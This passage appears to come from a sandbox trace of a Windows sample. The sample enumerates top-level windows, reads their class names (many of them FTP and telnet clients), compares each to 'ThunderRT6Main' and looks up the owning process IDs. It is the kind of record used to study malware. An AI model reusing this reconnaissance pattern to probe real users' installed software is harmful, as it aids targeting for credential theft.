uCmd=0x2) returned 0x101cc [0076.398] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0076.398] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0076.398] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0076.398] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0076.398] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.398] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0076.398] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0076.398] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0076.398] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0076.399] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0076.399] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0076.399] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0076.399] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0076.399] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0076.399] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0076.399] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0076.399] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0076.399] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0076.399] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0076.399] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0076.399] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0076.399] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0076.399] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0076.399] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0076.399] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0076.399] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.399] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0076.399] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0076.399] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0076.400] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0076.400] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0076.400] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0076.400] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0076.400] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0076.400] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0076.400] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0076.400] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0076.400] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0076.400] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0076.400] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0076.400] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0076.400] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0076.400] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0076.400] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0076.400] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0076.400] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0076.400] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0076.400] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0076.400] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0076.400] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0076.400] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0076.400] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0076.401] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0076.401] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0076.401] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0076.401] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0076.401] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0076.401] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0076.401] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0076.401] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0076.401] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0076.401] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0076.401] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0076.401] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0076.401] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0076.401] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0076.401] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0076.401] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0076.401] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0076.401] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0076.401] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0076.401] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0076.401] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0076.401] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0076.402] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0076.402] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0076.402] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0076.402] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0076.402] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0076.402] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0076.402] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0076.402] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0076.402] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0076.402] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0076.402] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0076.402] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0076.402] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0076.402] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0076.402] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.402] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.402] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0076.402] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0076.402] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0076.403] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0076.403] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0076.403] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0076.403] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.403] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0076.403] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0076.403] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0076.403] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0076.403] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0076.403] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0076.403] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.403] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0076.403] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0076.403] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0076.403] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0076.403] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0076.403] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0076.403] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.403] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.403] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0076.403] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0076.403] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0076.404] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0076.404] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0076.404] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0076.404] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0076.404] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0076.404] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0076.404] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0076.404] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0076.404] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0076.404] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0076.404] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0076.404] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0076.404] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.404] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0076.404] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0076.404] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0076.404] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0076.404] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0076.405] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0076.405] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0076.405] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0076.405] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0076.405] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0076.405] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0076.405] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0076.405] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0076.405] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0076.405] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0076.405] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0076.405] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0076.405] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0076.405] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0076.405] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0076.405] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0076.405] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.405] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.405] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0076.406] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0076.406] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0076.406] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0076.406] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0076.406] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0076.406] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.406] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.406] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0076.406] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0076.406] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0076.406] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0076.406] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0076.406] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0076.406] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.406] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.406] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0076.406] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0076.406] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0076.406] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0076.406] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0076.406] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0076.406] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0076.406] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0076.406] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0076.406] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0076.406] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0076.406] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0076.407] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0076.407] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0076.407] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0076.407] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0076.407] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0076.407] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0076.407] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0076.407] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.407] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0076.407] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0076.407] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0076.407] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0076.407] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0076.407] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.407] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0076.407] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0076.407] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0076.407] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0076.407] GetWindowThreadProcessId (in: hWnd=0x10118, 